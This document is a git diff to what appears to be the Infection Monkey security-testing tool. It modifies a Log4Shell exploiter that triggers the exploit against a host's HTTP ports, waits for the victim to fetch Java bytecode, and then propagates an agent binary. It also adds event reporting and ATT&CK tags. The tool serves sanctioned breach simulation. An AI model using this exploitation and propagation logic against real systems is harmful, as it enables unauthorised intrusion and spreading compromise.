diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 399a2706e..95fb7952d 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -4,6 +4,11 @@ from pathlib import PurePath from common import OperatingSystem from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT +from common.tags import ( + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1203_ATTACK_TECHNIQUE_TAG, +) from common.utils import Timer from infection_monkey.exploit.log4shell_utils import ( LINUX_EXPLOIT_TEMPLATE_PATH, @@ -26,12 +31,26 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) +LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter" +VICTIM_WAIT_SLEEP_TIME_SEC = 0.050 + class Log4ShellExploiter(WebRCE): _EXPLOITED_SERVICE = "Log4j" SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT + _EXPLOITER_TAGS = ( + LOG4SHELL_EXPLOITER_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1203_ATTACK_TECHNIQUE_TAG, + ) + _PROPAGATION_TAGS = ( + LOG4SHELL_EXPLOITER_TAG, + T1203_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + ) + def _exploit_host(self) -> ExploiterResultData: self._open_ports = [ int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) @@ -146,24 +165,37 @@ class Log4ShellExploiter(WebRCE): f"on port {port}" ) try: + timestamp = time.time() url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) - except Exception as ex: - logger.warning( + except Exception as err: + error_message = ( "An error occurred while attempting to exploit log4shell on a " - f"potential {exploit.service_name} service: {ex}" + f"potential {exploit.service_name} service: {err}" ) - if self._wait_for_victim(): + logger.warning(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + + # TODO: _wait_for_victim() gets called even if trigger_exploit() raises an + # exception. Is that the desired behavior? + if self._wait_for_victim(timestamp): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, } self.exploit_info["vulnerable_urls"].append(url) - def _wait_for_victim(self) -> bool: + def _wait_for_victim(self, timestamp: float) -> bool: victim_called_back = self._wait_for_victim_to_download_java_bytecode() if victim_called_back: - self._wait_for_victim_to_download_agent() + self._publish_exploitation_event(timestamp, True) + + victim_downloaded_agent = self._wait_for_victim_to_download_agent() + self._publish_propagation_event(success=victim_downloaded_agent) + else: + error_message = "Timed out while waiting for victim to download the java bytecode" + logger.debug(error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) return victim_called_back @@ -176,19 +208,20 @@ class Log4ShellExploiter(WebRCE): self.exploit_result.exploitation_success = True return True - time.sleep(1) + time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) - logger.debug("Timed out while waiting for victim to download the java bytecode") return False - def _wait_for_victim_to_download_agent(self): + def _wait_for_victim_to_download_agent(self) -> bool: timer = Timer() timer.set(LONG_REQUEST_TIMEOUT) while not timer.is_expired(): if self._agent_http_server_thread.downloads > 0: self.exploit_result.propagation_success = True - break + return True # TODO: if the http server got an error we're waiting for nothing here - time.sleep(1) + time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) + + return False diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index c290b3893..c8e1ad695 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -1,4 +1,5 @@ -from typing import List, Optional +from pathlib import PurePath +from typing import List, Optional, Union from infection_monkey.config import GUID from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64 @@ -9,7 +10,9 @@ DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64 -def build_monkey_commandline(servers: List[str], depth: int, location: Optional[str] = None) -> str: +def build_monkey_commandline( + servers: List[str], depth: int, location: Union[str, PurePath, None] = None +) -> str: return " " + " ".join( build_monkey_commandline_explicitly( @@ -25,7 +28,7 @@ def build_monkey_commandline_explicitly( parent: Optional[str] = None, servers: Optional[List[str]] = None, depth: Optional[int] = None, - location: Optional[str] = None, + location: Union[str, PurePath, None] = None, ) -> List[str]: cmdline = []